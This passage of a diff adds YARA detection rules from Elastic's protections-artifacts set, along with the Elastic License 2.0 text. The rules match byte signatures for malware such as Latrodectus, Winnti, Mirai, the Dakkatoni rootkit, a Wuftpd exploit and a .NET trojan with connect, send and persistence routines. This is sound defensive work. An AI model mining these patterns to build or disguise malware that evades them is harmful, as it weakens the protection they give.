+        ?? ?? ?? 38 ?? ?? ?? ?? 00
+    }
+		$connect_v2 = {
+        16 80 ?? ?? ?? ?? 20 D0 07 00 00 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 0A 06 25 13 ?? 28 ??
+        ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 14 80 ?? ?? ?? ?? DE ??
+        26 DE ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? DE ?? 26 DE ?? 73 ?? ?? ?? ??
+        80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 20 00 20 03 00 6F ?? ??
+        ?? ?? 7E ?? ?? ?? ?? 20 00 20 03 00 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20
+        10 27 00 00 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 10 27 00 00 6F ?? ?? ??
+        ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 80
+        ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 72 ??
+        ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 07 7F ?? ?? ?? ?? 28
+        ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 2B ?? 07 0C 72 ?? ?? ?? ?? 72 ?? ?? ??
+        ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 08 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ??
+        ?? ?? 0B 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 07 A2 11 ?? 17 7E ?? ?? ?? ?? A2 11 ?? 18
+        72 ?? ?? ?? ?? A2 11 ?? 19 7E ?? ?? ?? ?? A2 11 ?? 1A 72 ?? ?? ?? ?? A2 11 ?? 28 ??
+        ?? ?? ?? 0B 07 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 7E
+        ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ??
+        ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B
+        07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 12 ?? 28 ?? ?? ??
+        ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? DE ?? 26 16 80 ?? ?? ?? ?? DE ??
+        DE ?? 11 ?? 28 ?? ?? ?? ?? DC 7E
+    }
+		$receive_v2 = {
+        72 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 39 ?? ?? ?? ?? 15 6A 0A 16 0B 07 17 D6
+        0B 07 1F ?? 33 ?? 16 0B 17 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 39 ?? ?? ?? ?? 7E ?? ?? ??
+        ?? 6F ?? ?? ?? ?? 17 3C ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 15 16 6F ?? ?? ??
+        ?? 26 38 ?? ?? ?? ?? 06 15 6A 3B ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 D6 8D
+        ?? ?? ?? ?? 80 ?? ?? ?? ?? 06 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DA 0C 7E ?? ?? ?? ?? 8E
+        69 6A 08 31 ?? 08 17 6A DA B7 17 D6 8D ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F
+        ?? ?? ?? ?? 7E ?? ?? ?? ?? 16 7E ?? ?? ?? ?? 8E 69 16 6F ?? ?? ?? ?? 0D 7E ?? ?? ??
+        ?? 7E ?? ?? ?? ?? 16 09 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 40 ?? ?? ??
+        ?? 15 6A 0A 7E ?? ?? ?? ?? 2D ?? 14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ??
+        ?? ?? 7E ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F
+        ?? ?? ?? ?? 11 ?? 1F ?? 6F ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 73 ?? ?? ??
+        ?? 80 ?? ?? ?? ?? 38 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ??
+        6F ?? ?? ?? ?? 13 ?? 11 ?? 15 2E ?? 11 ?? 2C ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 12
+        ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 28
+        ?? ?? ?? ?? 0A 06 16 6A 33 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 15 6A 0A 7E ?? ?? ??
+        ?? 6F ?? ?? ?? ?? 16 3E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? DE
+        ?? 26 DE ?? 7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 14 72 ?? ?? ?? ?? 16 8D ?? ?? ?? ??
+        14 14 14 17 28 ?? ?? ?? ?? 26 14 80 ?? ?? ?? ?? DE ?? 26 DE ?? 16 80 ?? ?? ?? ?? 28
+        ?? ?? ?? ?? 2C ?? 17 80
+    }
+		$get_system_information_v2_p1 = {
+        72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ??
+        ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 06 0B 7F ?? ?? ?? ?? 28 ?? ?? ?? ??
+        72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 07 12 ?? 28 ?? ?? ?? ?? 7E ?? ?? ??
+        ?? 28 ?? ?? ?? ?? 0A 2B ?? 06 0D 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ??
+        ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13
+        ?? 09 12 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 13 ?? 28 ??
+        ?? ?? ?? 13 ?? 11 ?? 12 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 06
+        28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 72 ?? ?? ?? ?? 7E ?? ??
+        ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 06 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE
+        ?? 26 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 06 7E ?? ?? ?? ?? 6F
+        ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E
+        ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ??
+        ?? 0A DE ?? 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 73 ?? ?? ?? ?? 28
+        ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 72 ?? ?? ?? ?? 28 ?? ?? ??
+        ?? 0A DE ?? 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ??
+        ?? ?? ?? 15 16 28 ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 17 33 ?? 06 72 ?? ?? ?? ?? 28 ?? ??
+        ?? ?? 0A 06 11 ?? 11 ?? 8E 69 17 DA 9A 28 ?? ?? ?? ?? 0A DE ?? 26 06 72
+    }
+		$get_system_information_v2_p2 = {
+        28 ?? ?? ?? ?? 0A DE ?? 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 06
+        72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 2B ?? 06 72 ?? ?? ?? ?? 7E ?? ?? ??
+        ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 28 ?? ?? ??
+        ?? 2C ?? 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 2B ?? 06 72 ?? ?? ?? ??
+        7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A
+        06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 28 ?? ?? ?? ?? 7E ?? ?? ?? ??
+        28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ??
+        28 ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A
+        13 ?? 11 ?? 6F ?? ?? ?? ?? 1F ?? 33 ?? 11 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13
+        ?? 11 ?? 17 D6 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 06 11 ?? 28
+    }
+		$send_v2 = {
+        7E ?? ?? ?? ?? 2D ?? 16 2A 7E ?? ?? ?? ?? 0A 06 25 13 ?? 28 ?? ?? ?? ?? 7E ?? ?? ??
+        ?? 2D ?? 16 13 ?? DD ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B 02 8E 69 13 ?? 12 ?? 28 ?? ?? ??
+        ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 12 ?? 28 ?? ?? ?? ?? 0D 07 09 16 09 8E 69 6F ??
+        ?? ?? ?? 07 02 16 02 8E 69 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 07 6F ?? ??
+        ?? ?? 16 07 6F ?? ?? ?? ?? B7 16 6F ?? ?? ?? ?? 26 07 6F ?? ?? ?? ?? DE ?? 11 ?? 28
+        ?? ?? ?? ?? DC DE ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 16 80 ?? ?? ??
+        ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 28 ?? ?? ?? ?? DE ?? 7E ?? ?? ?? ??
+        2A 11
+    }
+
+	condition:
+		uint16(0)==0x5A4D and ((( all of ($persistence_mechanism_v1_p*)) and ( all of ($connect_v1_p*)) and ($send_v1) and ( all of ($receive_v1_p*))) or (($connect_v2) and ($receive_v2) and ( all of ($get_system_information_v2_p*)) and ($send_v2)))
+}
+/*
+ * YARA Rule Set
+ * Repository Name: Elastic
+ * Repository: https://github.com/elastic/protections-artifacts/
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd
+ * Number of Rules: 1781
+ * Skipped: 0 (age), 6 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * Elastic License 2.0
+
+URL: https://www.elastic.co/licensing/elastic-license
+
+## Acceptance
+
+By using the software, you agree to all of the terms and conditions below.
+
+## Copyright License
+
+The licensor grants you a non-exclusive, royalty-free, worldwide,
+non-sublicensable, non-transferable license to use, copy, distribute, make
+available, and prepare derivative works of the software, in each case subject to
+the limitations and conditions below.
+
+## Limitations
+
+You may not provide the software to third parties as a hosted or managed
+service, where the service provides users with access to any substantial set of
+the features or functionality of the software.
+
+You may not move, change, disable, or circumvent the license key functionality
+in the software, and you may not remove or obscure any functionality in the
+software that is protected by the license key.
+
+You may not alter, remove, or obscure any licensing, copyright, or other notices
+of the licensor in the software. Any use of the licensor’s trademarks is subject
+to applicable law.
+
+## Patents
+
+The licensor grants you a license, under any patent claims the licensor can
+license, or becomes able to license, to make, have made, use, sell, offer for
+sale, import and have imported the software, in each case subject to the
+limitations and conditions in this license. This license does not cover any
+patent claims that you cause to be infringed by modifications or additions to
+the software. If you or your company make any written claim that the software
+infringes or contributes to infringement of any patent, your patent license for
+the software granted under these terms ends immediately. If your company makes
+such a claim, your patent license ends immediately for work on behalf of your
+company.
+
+## Notices
+
+You must ensure that anyone who gets a copy of any part of the software from you
+also gets a copy of these terms.
+
+If you modify the software, you must include in any modified copies of the
+software prominent notices stating that you have modified the software.
+
+## No Other Rights
+
+These terms do not imply any licenses other than those expressly granted in
+these terms.
+
+## Termination
+
+If you use the software in violation of these terms, such use is not licensed,
+and your licenses will automatically terminate. If the licensor provides you
+with a notice of your violation, and you cease all violation of this license no
+later than 30 days after you receive that notice, your licenses will be
+reinstated retroactively. However, if you violate these terms after such
+reinstatement, any additional violation of these terms will cause your licenses
+to terminate automatically and permanently.
+
+## No Liability
+
+*As far as the law allows, the software comes as is, without any warranty or
+condition, and the licensor will not be liable to you for any damages arising
+out of these terms or the use or nature of the software, under any kind of
+legal claim.*
+
+## Definitions
+
+The **licensor** is the entity offering these terms, and the **software** is the
+software the licensor makes available under these terms, including any portion
+of it.
+
+**you** refers to the individual or entity agreeing to these terms.
+
+**your company** is any legal entity, sole proprietorship, or other kind of
+organization that you work for, plus all organizations that have control over,
+are under the control of, or are under common control with that
+organization. **control** means ownership of substantially all the assets of an
+entity, or the power to direct its management and policies by vote, contract, or
+otherwise. Control can be direct or indirect.
+
+**your licenses** are all the licenses granted to you for the software under
+these terms.
+
+**use** means anything you do with the software requiring one of your licenses.
+
+**trademark** means trademarks, service marks, and similar rights.
+
+ */
+rule ELASTIC_Linux_Rootkit_Dakkatoni_010D3Ac2 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Rootkit Dakkatoni (Linux.Rootkit.Dakkatoni)"
+		author = "Elastic Security"
+		id = "010d3ac2-0bb2-4966-bf5f-fd040ba07311"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Rootkit_Dakkatoni.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "38b2d033eb5ce87faa4faa7fcac943d9373e432e0d45e741a0c01d714ee9d4d3"
+		logic_hash = "51119321f29aed695e09da22d3234eae96db93e8029d4525d018e56c7131f7b8"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "2c7935079dc971d2b8a64c512ad677e946ff45f7f1d1b62c3ca011ebde82f13b"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 89 C8 C1 E0 0D 31 C1 89 CE 83 E6 03 83 C6 05 89 C8 31 D2 C1 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Windows_Trojan_Latrodectus_841Ff697 : FILE MEMORY
+{
+	meta:
+		description = "Detects Windows Trojan Latrodectus (Windows.Trojan.Latrodectus)"
+		author = "Elastic Security"
+		id = "841ff697-f389-497a-b813-3b9e19cba26e"
+		date = "2024-03-13"
+		modified = "2024-05-08"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Latrodectus.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c"
+		logic_hash = "aa1a4813a18b4eb4f07e805ff9c87523ad74f59c0ed538212918335eaeee29d7"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "8f095e7909860471e2702b247f4cefa694b698c236e67844ef0b0b7714518a18"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "windows"
+
+	strings:
+		$Str1 = { 48 83 EC 38 C6 44 24 20 73 C6 44 24 21 63 C6 44 24 22 75 C6 44 24 23 62 C6 44 24 24 }
+		$crc32_loadlibrary = { 48 89 44 24 40 EB 02 EB 90 48 8B 4C 24 20 E8 ?? ?? FF FF 48 8B 44 24 40 48 81 C4 E8 02 00 00 C3 }
+		$delete_self = { 44 24 68 BA 03 00 00 00 48 8B 4C 24 48 FF 15 ED D1 00 00 85 C0 75 14 48 8B 4C 24 50 E8 ?? ?? 00 00 B8 FF FF FF FF E9 A6 00 }
+		$Str4 = { 89 44 24 44 EB 1F C7 44 24 20 00 00 00 00 45 33 C9 45 33 C0 33 D2 48 8B 4C 24 48 FF 15 7E BB 00 00 89 44 24 44 83 7C 24 44 00 75 02 EB 11 48 8B 44 24 48 EB 0C 33 C0 85 C0 0F 85 10 FE FF FF 33 }
+		$handler_check = { 83 BC 24 D8 01 00 00 12 74 36 83 BC 24 D8 01 00 00 0E 74 2C 83 BC 24 D8 01 00 00 0C 74 22 83 BC 24 D8 01 00 00 0D 74 18 83 BC 24 D8 01 00 00 0F 74 0E 83 BC 24 D8 01 00 00 04 0F 85 44 02 00 00 }
+		$hwid_calc = { 48 89 4C 24 08 48 8B 44 24 08 69 00 0D 66 19 00 48 8B 4C 24 08 89 01 48 8B 44 24 08 8B 00 C3 }
+		$string_decrypt = { 89 44 24 ?? 48 8B 44 24 ?? 0F B7 40 ?? 8B 4C 24 ?? 33 C8 8B C1 66 89 44 24 ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 89 44 24 ?? 33 C0 66 89 44 24 ?? EB ?? }
+		$campaign_fnv = { 48 03 C8 48 8B C1 48 39 44 24 08 73 1E 48 8B 44 24 08 0F BE 00 8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01 89 04 24 EB BE }
+
+	condition:
+		2 of them
+}
+rule ELASTIC_Linux_Exploit_Wuftpd_0991E62F : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Exploit Wuftpd (Linux.Exploit.Wuftpd)"
+		author = "Elastic Security"
+		id = "0991e62f-af72-416a-b88b-6bc8a501b8bb"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Wuftpd.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c0b6303300f38013840abe17abe192db6a99ace78c83bc7ef705f5c568bc98fd"
+		logic_hash = "71ad26a182c7f16e7e0ad7f7afe0dcf1d38fe953dc0806341d7e21ee4acea87d"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "642c7b059fa604a0a5110372e2247da9625b07008b012fd498670a6dd1b29974"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { F3 8D 4E 08 8D 56 0C B0 0B CD 80 31 C0 31 DB }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Winnti_61215D98 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Winnti (Linux.Trojan.Winnti)"
+		author = "Elastic Security"
+		id = "61215d98-f52d-45d3-afa2-4bd25270aa99"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Winnti.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cc1455e3a479602581c1c7dc86a0e02605a3c14916b86817960397d5a2f41c31"
+		logic_hash = "051cc157f189094d25d45e66e410bdfd61ed7649a4c935d076cec1597c5debf5"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "20ee92147edbf91447cca2ee0c47768a50ec9c7aa7d081698953d3bdc2a25320"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { FF FF FF C9 C3 55 48 89 E5 48 83 EC 30 89 F8 66 89 45 DC C7 45 FC FF FF }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Winnti_4C5A1865 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Winnti (Linux.Trojan.Winnti)"
+		author = "Elastic Security"
+		id = "4c5a1865-ff41-445b-8616-c83b87498c2b"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "0d963a713093fc8e5928141f5747640c9b43f3aadc8a5478c949f7ec364b28ad"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Winnti.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "69f6dcba59ec8cd7f4dfe853495a35601e35d74476fad9e18bef7685a68ece51"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "685fe603e04ff123b3472293d3d83e2dc833effd1a7e6c616ff17ed61df0004c"
+		severity = "100"
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { C1 E8 1F 84 C0 75 7B 85 D2 89 D5 7E 75 8B 47 0C 39 C6 7D 6E 44 8D }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Winnti_6F4Ca425 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Winnti (Linux.Trojan.Winnti)"
+		author = "Elastic Security"
+		id = "6f4ca425-5cd2-4c22-b017-b5fc02b3abc2"
+		date = "2022-01-05"
+		modified = "2022-01-26"
+		reference = "161af780209aa24845863f7a8120aa982aa811f16ec04bcd797ed165955a09c1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Winnti.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "a1ffc0e3d27c4bb9fd10f14d45b649b4f059c654b31449013ac06d0981ed25ed"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "dec25af33fc004de3a1f53e0c3006ff052f7c51c95f90be323b281590da7d924"
+		severity = "100"
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 89 E5 48 89 7D D8 48 8B 45 D8 0F B6 40 27 0F BE C0 89 45 F8 48 8B }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Winnti_De4B0F6E : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Winnti (Linux.Trojan.Winnti)"
+		author = "Elastic Security"
+		id = "de4b0f6e-0183-4ea8-9c03-f716a25f1884"
+		date = "2022-01-05"
+		modified = "2022-01-26"
+		reference = "a6b9b3ea19eaddd4d90e58c372c10bbe37dbfced638d167182be2c940e615710"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Winnti.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "fb7b0ff4757dfc1ba2ca8585d5ddf14aae03063e10bdc2565443362c6ba37c30"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "c72eddc2d72ea979ad4f680d060aac129f1cd61dbdf3b0b5a74f5d35a9fe69d7"
+		severity = "100"
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 85 30 FF FF FF 02 00 48 8D 85 30 FF FF FF 48 8D 50 02 0F B7 85 28 FF }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_268Aac0B : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "268aac0b-c5c7-4035-8381-4e182de91e32"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead"
+		logic_hash = "6eae3aba35d3379fa194b66a1b4e0d78d0d0b88386cd4ea5dfeb3c072642c7ba"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_D5F2Abe2 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "d5f2abe2-511f-474d-9292-39060bbf6feb"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c490586fbf90d360cf3b2f9e2dc943809441df3dfd64dadad27fc9f5ee96ec74"
+		logic_hash = "169e7e5d1a7ea8c219464e22df9be8bc8caa2e78e1bc725674c8e0b14f6b9fc5"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "475a1c92c0a938196a5a4bca708b338a62119a2adf36cabf7bc99893fee49f2a"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { 41 56 41 89 FE 40 0F B6 FF 41 55 49 89 F5 BE 08 00 00 00 41 54 41 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Trojan_Mirai_1Cb033F3 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "1cb033f3-68c1-4fe5-9cd1-b5d066c1d86e"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L41-L58"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "ebaf45ce58124aa91b07ebb48779e6da73baa0b80b13e663c13d8fb2bb47ad0d"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "49201ab37ff0b5cdfa9b0b34b6faa170bd25f04df51c24b0b558b7534fecc358"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
